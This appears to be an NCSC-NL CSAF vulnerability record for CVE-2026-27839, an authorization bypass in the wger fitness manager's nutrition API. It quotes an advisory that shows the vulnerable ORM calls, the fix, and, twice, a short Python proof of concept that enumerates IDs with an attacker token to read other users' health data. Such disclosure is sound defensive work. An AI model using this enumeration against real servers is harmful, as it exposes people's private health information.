{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-27839", "tracking": { "current_release_date": "2026-03-23T03:01:17.922906Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-27839", "initial_release_date": "2026-02-26T22:38:44.557414Z", "revision_history": [ { "date": "2026-02-26T22:38:44.557414Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (2).| CWES updated (1)." }, { "date": "2026-02-26T22:38:46.214710Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-02-26T22:39:39.687268Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-02-26T22:39:42.980581Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-02-26T23:28:50.904804Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-02-26T23:28:59.100763Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-02-27T06:35:45.479460Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (15).| Product Identifiers created (14).| References created (1).| CWES updated (1)." }, { "date": "2026-02-27T07:34:49.102710Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-02-27T14:37:06.972806Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-02-27T14:37:10.385931Z", "number": "10", "summary": "NCSC Score updated." }, { "date": "2026-02-27T22:39:39.508599Z", "number": "11", "summary": "References created (2)." }, { "date": "2026-02-28T12:35:44.854855Z", "number": "12", "summary": "References created (2)." }, { "date": "2026-02-28T13:56:56.480998Z", "number": "13", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (18).| References created (4).| CWES updated (1)." }, { "date": "2026-03-03T01:25:21.456866Z", "number": "14", "summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-03T01:25:23.379376Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-03-03T02:38:57.345052Z", "number": "16", "summary": "Unknown change." }, { "date": "2026-03-20T09:39:37.791213Z", "number": "17", "summary": "Source connected.| CVE status created. (valid)| EPSS created." } ], "status": "interim", "version": "17" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<=2.4", "product": { "name": "vers:unknown/<=2.4", "product_id": "CSAFPID-5755247", "product_identification_helper": { "cpe": "cpe:2.3:a:wger:wger:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "wger" } ], "category": "vendor", "name": "wger" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/1.0", "product": { "name": "vers:unknown/1.0", "product_id": "CSAFPID-4235454" } }, { "category": "product_version_range", "name": "vers:unknown/1.0.1", "product": { "name": "vers:unknown/1.0.1", "product_id": "CSAFPID-4235455" } }, { "category": "product_version_range", "name": "vers:unknown/1.0.2", "product": { "name": "vers:unknown/1.0.2", "product_id": "CSAFPID-4235456" } }, { "category": "product_version_range", "name": "vers:unknown/1.0.3", "product": { "name": "vers:unknown/1.0.3", "product_id": "CSAFPID-4235457" } }, { "category": "product_version_range", "name": "vers:unknown/1.1", "product": { "name": "vers:unknown/1.1", "product_id": "CSAFPID-3273248", "product_identification_helper": { "purl": "pkg:pypi/wger@1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.1.1", "product": { "name": "vers:unknown/1.1.1", "product_id": "CSAFPID-3273249", "product_identification_helper": { "purl": "pkg:pypi/wger@1.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2", "product": { "name": "vers:unknown/1.2", "product_id": "CSAFPID-3273250", "product_identification_helper": { "purl": "pkg:pypi/wger@1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/1.2rc1", "product": { "name": "vers:unknown/1.2rc1", "product_id": "CSAFPID-3273251", "product_identification_helper": { "purl": "pkg:pypi/wger@1.2rc1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.3", "product": { "name": "vers:unknown/1.3", "product_id": "CSAFPID-3273252", "product_identification_helper": { "purl": "pkg:pypi/wger@1.3" } } }, { "category": "product_version_range", "name": "vers:unknown/1.4", "product": { "name": "vers:unknown/1.4", "product_id": "CSAFPID-3273253", "product_identification_helper": { "purl": "pkg:pypi/wger@1.4" } } }, { "category": "product_version_range", "name": "vers:unknown/1.5", "product": { "name": "vers:unknown/1.5", "product_id": "CSAFPID-3273254", "product_identification_helper": { "purl": "pkg:pypi/wger@1.5" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6", "product": { "name": "vers:unknown/1.6", "product_id": "CSAFPID-3273255", "product_identification_helper": { "purl": "pkg:pypi/wger@1.6" } } }, { "category": "product_version_range", "name": "vers:unknown/1.6.1", "product": { "name": "vers:unknown/1.6.1", "product_id": "CSAFPID-3273256", "product_identification_helper": { "purl": "pkg:pypi/wger@1.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/1.7", "product": { "name": "vers:unknown/1.7", "product_id": "CSAFPID-3273257", "product_identification_helper": { "purl": "pkg:pypi/wger@1.7" } } }, { "category": "product_version_range", "name": "vers:unknown/1.8", "product": { "name": "vers:unknown/1.8", "product_id": "CSAFPID-3273258", "product_identification_helper": { "purl": "pkg:pypi/wger@1.8" } } }, { "category": "product_version_range", "name": "vers:unknown/1.9", "product": { "name": "vers:unknown/1.9", "product_id": "CSAFPID-3273259", "product_identification_helper": { "purl": "pkg:pypi/wger@1.9" } } }, { "category": "product_version_range", "name": "vers:unknown/2.0", "product": { "name": "vers:unknown/2.0", "product_id": "CSAFPID-3273260", "product_identification_helper": { "purl": "pkg:pypi/wger@2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/2.1", "product": { "name": "vers:unknown/2.1", "product_id": "CSAFPID-3273261", "product_identification_helper": { "purl": "pkg:pypi/wger@2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/2.2", "product": { "name": "vers:unknown/2.2", "product_id": "CSAFPID-5734576" } }, { "category": "product_version_range", "name": "vers:unknown/2.3", "product": { "name": "vers:unknown/2.3", "product_id": "CSAFPID-5734577" } }, { "category": "product_version_range", "name": "vers:unknown/2.4", "product": { "name": "vers:unknown/2.4", "product_id": "CSAFPID-5734578" } }, { "category": "product_version_range", "name": "vers:unknown/<=2.4", "product": { "name": "vers:unknown/<=2.4", "product_id": "CSAFPID-5733128" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<=2.1", "product": { "name": "vers:unknown/>=0|<=2.1", "product_id": "CSAFPID-5733683" } } ], "category": "product_name", "name": "wger" } ], "category": "vendor", "name": "wger-project" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-27839", "cwe": { "id": "CWE-639", "name": "Authorization Bypass Through User-Controlled Key" }, "notes": [ { "category": "description", "text": "wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27839" }, { "category": "description", "text": "## Summary\n\nThree `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.\n\n### Details\n\nDRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:\n\n`wger/nutrition/api/views.py`:\n\n```python\n# line 301 — NutritionPlanViewSet\nplan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check\n\n# line 356 — MealViewSet\nmeal = Meal.objects.get(pk=pk) # VULNERABLE\n\n# line 403 — MealItemViewSet\nmeal_item = MealItem.objects.get(pk=pk) # VULNERABLE\n```\n\nThe correct pattern used in the same file at `LogItemViewSet` (line 438):\n\n```python\nLogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT\n```\n\nAffected endpoints:\n```\nGET /api/v2/nutritionplan/{pk}/nutritional_values/\nGET /api/v2/meal/{pk}/nutritional_values/\nGET /api/v2/mealitem/{pk}/nutritional_values/\n```\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\n# Attacker's token (any registered user)\nheaders = {\"Authorization\": \"Token ATTACKER_TOKEN\"}\n\n# Read victim's nutrition plan — enumerate pk starting from 1\nfor pk in range(1, 100):\n r = requests.get(\n f\"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/\",\n headers=headers\n )\n if r.status_code == 200:\n data = r.json()\n print(f\"Plan {pk}: {data}\")\n # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,\n # fat, fat_saturated, fiber, sodium\n```\n\nNo interaction from the victim required. Registration is open by default. PKs are sequential integers.\n\n### Impact\n\nAny authenticated user can read other users' private dietary and health data:\n- Daily caloric intake\n- Protein, carbohydrate, fat, fiber, and sodium intake\n- Full meal composition and ingredient quantities\n\nThis data is sensitive health information users expect to be private.\n\n**Fix**: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.", "title": "github - https://github.com/advisories/GHSA-g8gc-6c4h-jg86" }, { "category": "description", "text": "wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27839" }, { "category": "description", "text": "## Summary\n\nThree `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.\n\n### Details\n\nDRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:\n\n`wger/nutrition/api/views.py`:\n\n```python\n# line 301 — NutritionPlanViewSet\nplan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check\n\n# line 356 — MealViewSet\nmeal = Meal.objects.get(pk=pk) # VULNERABLE\n\n# line 403 — MealItemViewSet\nmeal_item = MealItem.objects.get(pk=pk) # VULNERABLE\n```\n\nThe correct pattern used in the same file at `LogItemViewSet` (line 438):\n\n```python\nLogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT\n```\n\nAffected endpoints:\n```\nGET /api/v2/nutritionplan/{pk}/nutritional_values/\nGET /api/v2/meal/{pk}/nutritional_values/\nGET /api/v2/mealitem/{pk}/nutritional_values/\n```\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\n# Attacker's token (any registered user)\nheaders = {\"Authorization\": \"Token ATTACKER_TOKEN\"}\n\n# Read victim's nutrition plan — enumerate pk starting from 1\nfor pk in range(1, 100):\n r = requests.get(\n f\"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/\",\n headers=headers\n )\n if r.status_code == 200:\n data = r.json()\n print(f\"Plan {pk}: {data}\")\n # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,\n # fat, fat_saturated, fiber, sodium\n```\n\nNo interaction from the victim required. Registration is open by default. PKs are sequential integers.\n\n### Impact\n\nAny authenticated user can read other users' private dietary and health data:\n- Daily caloric intake\n- Protein, carbohydrate, fat, fiber, and sodium intake\n- Full meal composition and ingredient quantities\n\nThis data is sensitive health information users expect to be private.\n\n**Fix**: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-g8gc-6c4h-jg86.json?alt=media" }, { "category": "description", "text": "wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27839.json?alt=media" }, { "category": "other", "text": "0.0003", "title": "EPSS" }, { "category": "other", "text": "3.6", "title": "NCSC Score" }, { "category": "other", "text": "The value of the most recent CVSS (V3) score, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5733128", "CSAFPID-3273248", "CSAFPID-3273249", "CSAFPID-3273250", "CSAFPID-3273251", "CSAFPID-3273252", "CSAFPID-3273253", "CSAFPID-3273254", "CSAFPID-3273255", "CSAFPID-3273256", "CSAFPID-3273257", "CSAFPID-3273258", "CSAFPID-3273259", "CSAFPID-3273260", "CSAFPID-3273261", "CSAFPID-5733683", "CSAFPID-4235454", "CSAFPID-4235455", "CSAFPID-4235456", "CSAFPID-4235457", "CSAFPID-5734576", "CSAFPID-5734577", "CSAFPID-5734578", "CSAFPID-5755247" ] }, "references": [ { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-27839" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27839.json" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-g8gc-6c4h-jg86" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-g8gc-6c4h-jg86" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27839" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27839" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-g8gc-6c4h-jg86.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27839" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27839.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/wger-project/wger/security/advisories/GHSA-g8gc-6c4h-jg86" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/wger-project/wger/commit/29876a1954fe959e4b58ef070170e81703dab60e" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-g8gc-6c4h-jg86" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27839" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27839.json" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-3273248", "CSAFPID-3273249", "CSAFPID-3273250", "CSAFPID-3273251", "CSAFPID-3273252", "CSAFPID-3273253", "CSAFPID-3273254", "CSAFPID-3273255", "CSAFPID-3273256", "CSAFPID-3273257", "CSAFPID-3273258", "CSAFPID-3273259", "CSAFPID-3273260", "CSAFPID-3273261", "CSAFPID-4235454", "CSAFPID-4235455", "CSAFPID-4235456", "CSAFPID-4235457", "CSAFPID-5733128", "CSAFPID-5733683", "CSAFPID-5734576", "CSAFPID-5734577", "CSAFPID-5734578", "CSAFPID-5755247" ] } ], "title": "CVE-2026-27839" } ] }